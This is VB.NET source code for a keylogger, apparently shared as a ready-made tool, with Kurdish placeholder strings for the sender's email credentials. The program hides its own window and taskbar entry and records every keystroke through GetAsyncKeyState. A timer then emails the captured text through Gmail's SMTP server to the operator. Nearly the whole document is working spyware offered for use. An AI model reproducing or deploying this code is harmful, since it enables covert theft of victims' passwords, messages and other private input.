keylogger by Hiden Personne

Option Strict On
Imports System.Net.Mail
Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short


    Private Sub TimerEmail_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
        Try
            Dim smtpserver As New SmtpClient
            smtpserver.EnableSsl = True
            smtpserver.Credentials = New Net.NetworkCredential("ئیمێڵی خۆت", "وشه‌ی نهێنی ئیمێڵت ")
            smtpserver.Port = 587
            smtpserver.Host = "smtp.gmail.com"
            Dim mail As New MailMessage
            mail = New MailMessage
            mail.From = New MailAddress("ئیمێڵی خۆت", "key Logger")
            mail.To.Add("ئیمێڵی خۆت")
            mail.Subject = ("Zanyare Nwe Nicher")
            mail.Body = TextBox1.Text
            smtpserver.Send(mail)

        Catch ex As Exception
            Me.Close()
        End Try
    End Sub

    'KeyLoGGer By HiDDen PerSOn'  'Kirkuk <3'
    'KeyLoGGer By HiDDen PerSOn'  'Kirkuk <3'
    'KeyLoGGer By HiDDen PerSOn'  'Kirkuk <3'
    'KeyLoGGer By HiDDen PerSOn'  'Kirkuk <3'
    'KeyLoGGer By HiDDen PerSOn'  'Kirkuk <3'
    'KeyLoGGer By HiDDen PerSOn'  'Kirkuk <3'


    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i
        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                TextBox1.Text &= key
            Else
                TextBox1.Text &= key.ToLower
            End If
        End If
        If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
            Me.Visible = True
        End If
    End Sub


    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i
        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                TextBox1.Text &= key
            Else
                TextBox1.Text &= key.ToLower
            End If
        End If
        If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
            Me.Visible = True
        End If
    End Sub


    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As FormClosedEventArgs) Handles Me.FormClosed
        TextBox1.Text &= vbNewLine & "Keyloggerka Rawasta La: " & Now & vbNewLine
    End Sub


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Me.Visible = False
        TextBox1.Text &= vbNewLine & "Keyloggerka Daste Peykrd La: " & Now & vbNewLine
    End Sub
End Class